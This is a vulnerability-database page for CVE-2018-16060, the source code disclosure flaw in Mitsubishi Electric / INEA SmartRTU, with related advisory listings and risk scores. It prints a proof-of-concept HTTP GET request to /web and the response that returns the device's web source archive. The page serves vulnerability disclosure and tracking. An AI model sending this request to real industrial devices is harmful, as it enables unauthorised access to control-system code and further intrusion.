Vulners
Lucene search
Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
 | Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure Vulnerability | 18 Oct 202100:00 | – | zdt |
 | CVE-2018-16060 | 16 Oct 202100:28 | – | circl |
 | Mitsubishi Electric SmartRTU 安全漏洞 | 15 Oct 202100:00 | – | cnnvd |
 | CVE-2018-16060 | 15 Oct 202119:04 | – | cve |
 | CVE-2018-16060 | 15 Oct 202119:04 | – | cvelist |
 | EUVD-2018-7917 | 7 Oct 202500:30 | – | euvd |
 | CVE-2018-16060 | 15 Oct 202120:15 | – | nvd |
 | Mitsubishi Electric / INEA SmartRTU Source Code Disclosure | 18 Oct 202100:00 | – | packetstorm |
 | Code injection | 15 Oct 202120:15 | – | prion |
 | PT-2021-8816 · Mitsubishi · Smartrtu | 15 Oct 202100:00 | – | ptsecurity |
10
# Exploit Title: Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure
# Date: 2021-17-10
# Exploit Author: Hamit CİBO
# Vendor Homepage: https://www.inea.si
# Software Link: https://www.inea.si/telemetrija-in-m2m-produkti/mertu/
# Version: ME RTU
# Tested on: Windows
# CVE : CVE-2018-16060
# PoC
# Request
GET /web HTTP/1.1
Host: **.**.**.***
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)
Connection: close
# Response
HTTP/1.1 200 OK
Date: Wed, 08 Aug 2018 08:09:53 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Location: web.tar
Vary: negotiate
TCN: choice
Last-Modified: Wed, 19 Nov 2014 09:40:36 GMT
ETag: "93800-5083300f58d00;51179459a2c00"
Accept-Ranges: bytes
Content-Length: 604160
Connection: close
Content-Type: application/x-tar
Reference :
https://drive.google.com/open?id=1QMHwTnBbIqrTkR0NEpnTKssYdi8vRsHHData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
18 Oct 2021 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 25
CVSS 3.17.5
EPSS0.11324
SSVC